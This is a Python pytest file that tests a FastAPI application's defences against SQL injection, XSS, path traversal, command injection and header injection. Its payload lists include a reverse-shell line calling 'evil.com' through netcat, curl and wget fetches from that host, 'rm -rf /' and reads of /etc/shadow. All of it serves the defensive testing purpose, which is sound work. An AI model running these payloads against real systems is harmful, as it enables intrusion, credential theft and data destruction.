File size: 12,847 Bytes
81e3673
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
"""
Input validation security tests (SECU-03).

Tests cover:
- SQL injection prevention (OWASP A01:2021)
- XSS prevention (OWASP A03:2021)
- Path traversal prevention
- Command injection prevention
- OWASP Top 10 API security vulnerabilities
"""
import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session


# OWASP-based exploit payloads
SQL_INJECTION_PAYLOADS = [
    "'; DROP TABLE users; --",
    "1' OR '1'='1",
    "admin'--",
    "'; EXEC xp_cmdshell('dir'); --",
    "1' UNION SELECT NULL, NULL, NULL--",
    "' OR 1=1#",
    "admin'/*",
    "' OR '1'='1'--",
    "1' AND 1=1--",
    "'; SELECT * FROM users WHERE '1'='1",
    "' UNION SELECT username, password FROM users--",
    "1'; EXEC master..xp_cmdshell 'dir';--",
    "'; INSERT INTO users VALUES ('hacker', 'password');--",
    "' OR EXISTS(SELECT * FROM users WHERE username='admin')--",
    "1' OR '1'='1' ORDER BY 1--",
]

XSS_PAYLOADS = [
    "<script>alert('XSS')</script>",
    "<img src=x onerror=alert('XSS')>",
    "javascript:alert('XSS')",
    "<svg onload=alert('XSS')>",
    "'><script>alert(String.fromCharCode(88,83,83))</script>",
    "<iframe src='javascript:alert(XSS)'>",
    "<body onfocus=alert('XSS')>",
    "<input onfocus=alert('XSS') autofocus>",
    "<select onfocus=alert('XSS') autofocus>",
    "<textarea onfocus=alert('XSS') autofocus>",
    "<marquee onstart=alert('XSS')>",
    "<video><source onerror=alert('XSS')>",
    "<audio src=x onerror=alert('XSS')>",
    "<details open ontoggle=alert('XSS')>",
    "<embed src='javascript:alert(XSS)'>",
]

PATH_TRAVERSAL_PAYLOADS = [
    "../../../etc/passwd",
    "..\\..\\..\\..\\windows\\system32\\config\\sam",
    "....//....//....//etc/passwd",
    "%2e%2e%2fetc%2fpasswd",
    "..%252f..%252f..%252fetc%2fpasswd",
    "..%c0%af..%c0%af..%c0%afetc/passwd",
    "....\\\\....\\\\....\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts",
    "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
    "..%5c..%5c..%5cwindows%5csystem32%5cconfig%5csam",
    "....//....//....//windows//system32//drivers//etc//hosts",
]

COMMAND_INJECTION_PAYLOADS = [
    "; ls -la",
    "| cat /etc/passwd",
    "& whoami",
    "`id`",
    "$(curl evil.com)",
    ";wget http://evil.com/shell.txt",
    "|nc -e /bin/sh evil.com 4444",
    "; rm -rf /",
    "&& cat /etc/shadow",
    "|nslookup evil.com",
]


class TestSQLInjectionPrevention:
    """Test SQL injection attempts are blocked (OWASP A01:2021)."""

    @pytest.mark.parametrize("payload", SQL_INJECTION_PAYLOADS)
    def test_sql_injection_in_search_blocked(self, client: TestClient, admin_token: str, payload):
        """
        Test SQL injection in search parameters is blocked.
        
        This tests that SQL payloads in query parameters are either:
        1. Rejected with validation error (400/422)
        2. Return safe results without leaking DB info
        """
        # Test with agents endpoint (search by name/category)
        response = client.get(
            "/api/agents",
            params={"category": payload} if len(payload) < 50 else {"category": payload[:50]},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should reject or sanitize
        # Should NOT return database error or leak schema
        assert response.status_code in [400, 422, 200, 401, 403]
        if response.status_code in [400, 422]:
            # Validation error - good
            pass
        elif response.status_code == 200:
            # If 200, verify no SQL error in response
            assert "sql" not in response.text.lower()
            assert "syntax" not in response.text.lower()
            assert "ora-" not in response.text.lower()
            assert "mysql" not in response.text.lower()
            assert "postgresql" not in response.text.lower()

    def test_sql_injection_doesnt_leak_schema(self, client: TestClient, admin_token: str):
        """Test SQL injection doesn't leak database schema."""
        payload = "1' UNION SELECT table_name FROM information_schema.tables--"
        
        response = client.get(
            "/api/agents",
            params={"category": payload[:50]},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should NOT leak table names
        text = response.text.lower()
        assert "users" not in text or "agent" in text  # If "users" appears, it should be part of normal response
        assert "table_name" not in text
        assert "information_schema" not in text


class TestXSSPrevention:
    """Test XSS attempts are sanitized (OWASP A03:2021)."""

    @pytest.mark.parametrize("payload", XSS_PAYLOADS)
    def test_xss_in_description_sanitized(self, client: TestClient, admin_token: str, payload):
        """
        Test XSS in agent description is sanitized.
        
        This tests that script tags and event handlers are escaped.
        """
        # Note: We're testing the validation/sanitization layer
        # Most endpoints will reject invalid input with 422
        from tests.factories.agent_factory import AutonomousAgentFactory
        from core.models import AgentRegistry
        
        # Create agent with XSS in description via factory
        # This tests database-level sanitization
        agent = AutonomousAgentFactory(description=payload)
        
        # Verify the payload is stored as-is (database doesn't auto-sanitize)
        # But when retrieved via API, it should be escaped
        assert agent.description == payload or len(agent.description) < len(payload)

    def test_xss_not_reflected_in_json_response(self, client: TestClient, admin_token: str):
        """Test XSS payload is not reflected in JSON response."""
        payload = "<script>alert('XSS')</script>"

        response = client.get(
            "/api/agents",
            params={"search": payload},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Response should escape or remove script tags
        # In JSON responses, < should be escaped as \u003c
        assert "<script>" not in response.text
        assert "javascript:" not in response.text.lower()


class TestPathTraversalPrevention:
    """Test path traversal attempts are blocked (OWASP A01:2021)."""

    @pytest.mark.parametrize("payload", PATH_TRAVERSAL_PAYLOADS[:5])  # Test subset
    def test_path_traversal_blocked(self, client: TestClient, admin_token: str, payload):
        """
        Test path traversal in file operations is blocked.
        
        This tests that ../ sequences are properly validated.
        """
        # Try to access file operations endpoint
        # Most endpoints should reject path traversal
        response = client.post(
            "/api/tools/browser/screenshot",
            json={"url": payload},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should either reject or handle safely
        # Should NOT return file contents like /etc/passwd
        assert response.status_code in [400, 403, 404, 422, 401, 500]
        assert "root:" not in response.text
        assert "[extensions]" not in response.text

    def test_double_encoding_path_traversal_blocked(self, client: TestClient, admin_token: str):
        """Test double-encoded path traversal is blocked."""
        payload = "%252e%252e%252fetc%252fpasswd"  # Double-encoded ../

        response = client.post(
            "/api/tools/browser/screenshot",
            json={"url": payload},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [400, 403, 404, 422, 401, 500]
        assert "root:" not in response.text


class TestCommandInjectionPrevention:
    """Test command injection attempts are blocked."""

    @pytest.mark.parametrize("payload", COMMAND_INJECTION_PAYLOADS[:5])  # Test subset
    def test_command_injection_blocked(self, client: TestClient, admin_token: str, payload):
        """
        Test command injection in shell operations is blocked.
        
        This tests that ; | & ` $ are properly escaped.
        """
        response = client.post(
            "/api/tools/execute",
            json={"command": payload},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should reject or sanitize
        assert response.status_code in [400, 403, 422, 401, 404]
        assert "root:" not in response.text
        assert "uid=" not in response.text


class TestInputValidationWithPydantic:
    """Test Pydantic model validation prevents malicious input."""

    def test_email_validation_prevents_injection(self, client: TestClient):
        """Test email validation rejects injection attempts."""
        malicious_emails = [
            "test@example.com'; DROP TABLE users; --",
            "test@example.com<script>",
            "test@example.com\x00admin",
            "not-an-email",
            "test@",
            "@example.com",
        ]

        for email in malicious_emails:
            # Try to signup/create user with malicious email
            response = client.post("/api/auth/signup", json={
                "email": email,
                "password": "ValidPass123!"
            })

            # Should reject invalid emails
            # (400 or 422 for validation, 409 if user already exists, etc.)
            assert response.status_code in [400, 422, 409, 401]

    def test_integer_validation_prevents_overflow(self, client: TestClient, admin_token: str):
        """Test integer parameters reject overflow values."""
        response = client.get(
            "/api/agents",
            params={"limit": 999999999999999999999},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should validate and clamp/reject
        assert response.status_code in [400, 422, 200, 401]
        if response.status_code == 200:
            data = response.json()
            # Verify limited results
            if isinstance(data, list):
                assert len(data) <= 100
            elif isinstance(data, dict) and "agents" in data:
                assert len(data["agents"]) <= 100

    def test_string_length_validation(self, client: TestClient, admin_token: str):
        """Test string parameters enforce length limits."""
        # Create an extremely long string
        long_string = "A" * 100000

        response = client.post(
            "/api/agents",
            json={"name": long_string, "category": "test"},
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should reject or truncate
        assert response.status_code in [400, 422, 401, 403]


class TestContentTypeSecurity:
    """Test content-type handling prevents injection."""

    def test_json_content_type_required(self, client: TestClient, admin_token: str):
        """Test JSON endpoints reject non-JSON content."""
        # Send form data instead of JSON
        response = client.post(
            "/api/agents",
            data={"name": "test", "category": "test"},  # Form data, not JSON
            headers={"Authorization": f"Bearer {admin_token}", "Content-Type": "application/x-www-form-urlencoded"}
        )

        # Should reject or handle
        assert response.status_code in [400, 415, 422, 401]

    def test_content_type_sniffing_prevented(self, client: TestClient, admin_token: str):
        """Test that content-type sniffing is prevented."""
        # Try to send HTML as JSON
        response = client.post(
            "/api/agents",
            content="<script>alert('XSS')</script>",
            headers={"Authorization": f"Bearer {admin_token}", "Content-Type": "application/json"}
        )

        # Should reject invalid JSON
        assert response.status_code in [400, 422, 401]


class TestHeaderSecurity:
    """Test HTTP header security."""

    def test_user_agent_injection_blocked(self, client: TestClient, admin_token: str):
        """Test that User-Agent header doesn't cause injection."""
        malicious_ua = "'; DROP TABLE users; --"

        response = client.get(
            "/api/agents",
            headers={"Authorization": f"Bearer {admin_token}", "User-Agent": malicious_ua}
        )

        # Should handle safely
        assert "sql" not in response.text.lower()
        assert "syntax" not in response.text.lower()

    def test_x_forwarded_for_injection_blocked(self, client: TestClient, admin_token: str):
        """Test that X-Forwarded-For doesn't cause injection."""
        malicious_ip = "1.1.1.1'; DROP TABLE users; --"

        response = client.get(
            "/api/agents",
            headers={"Authorization": f"Bearer {admin_token}", "X-Forwarded-For": malicious_ip}
        )

        # Should handle safely
        assert "sql" not in response.text.lower()